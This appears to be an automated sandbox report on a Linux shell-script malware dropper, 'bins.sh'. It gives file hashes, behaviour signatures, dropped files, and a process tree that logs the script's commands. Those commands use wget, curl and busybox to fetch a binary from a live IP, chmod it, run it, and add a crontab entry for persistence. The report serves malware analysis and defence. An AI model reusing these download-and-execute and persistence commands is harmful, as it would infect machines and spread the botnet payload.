Analysis

  • max time kernel
    149s
  • max time network
    170s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 02:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    be05ee3cea44d55ae008c8cd4c6da21b

  • SHA1

    fe4eeb6f208e3888654998b50aef8135758b80fb

  • SHA256

    e77318536a44e8986f54eab60f8dc6e7e569080b0f89edaebfd2ab20cb3ffc78

  • SHA512

    aa08f3f8910fad51ab9bd2d280969d6c8c90bd5d0638231fe5f49fd8135768a547c92b0c01b4d792736658b2fc4b674296c33451ccc806401b769c7d6c66c4df

  • SSDEEP

    96:vvS29pZaS5sg0k40ZUVJBH3k5lVUMA++6IUR1NQgSdg0k40ZoHm9pZaSpO0H3Ho6:vvn2bVJiuE1P

Malware Config

Signatures

  • Contacts a large (2126) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Writes file to tmp directory
          PID:694
        • /bin/chmod
          chmod 777 cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • File and Directory Permissions Modification
          PID:701
        • /tmp/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          ./cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:702
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:705
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:706
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:708
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:709
              • /bin/rm
                rm cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i
                2⤵
                  PID:719
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/d9PiSmjKNsCec9MS5De3PDcfMWvYR1l84y
                  2⤵
                    PID:722

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/cECGl3B6id9qqLS2WRWnhTUzccLVyB7V3i

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /var/spool/cron/crontabs/tmp.xxzNVk

                  Filesize

                  210B

                  MD5

                  6dd84f06b085eeffcec8e04d97eb15db

                  SHA1

                  a97c1bf6492e4714ebb5adf01582c315f9af0701

                  SHA256

                  37176363af7fac87c1e9894642b4e20a7ba4c08b131fc55df7074d09967d21b1

                  SHA512

                  2e0bd0ef33b85125d33f8334ba87e220981bcf22833f5816380a95bcd46e84870e71073f0712b022397ada935fe09e1d25485665f0a16178928bbde00f90ce62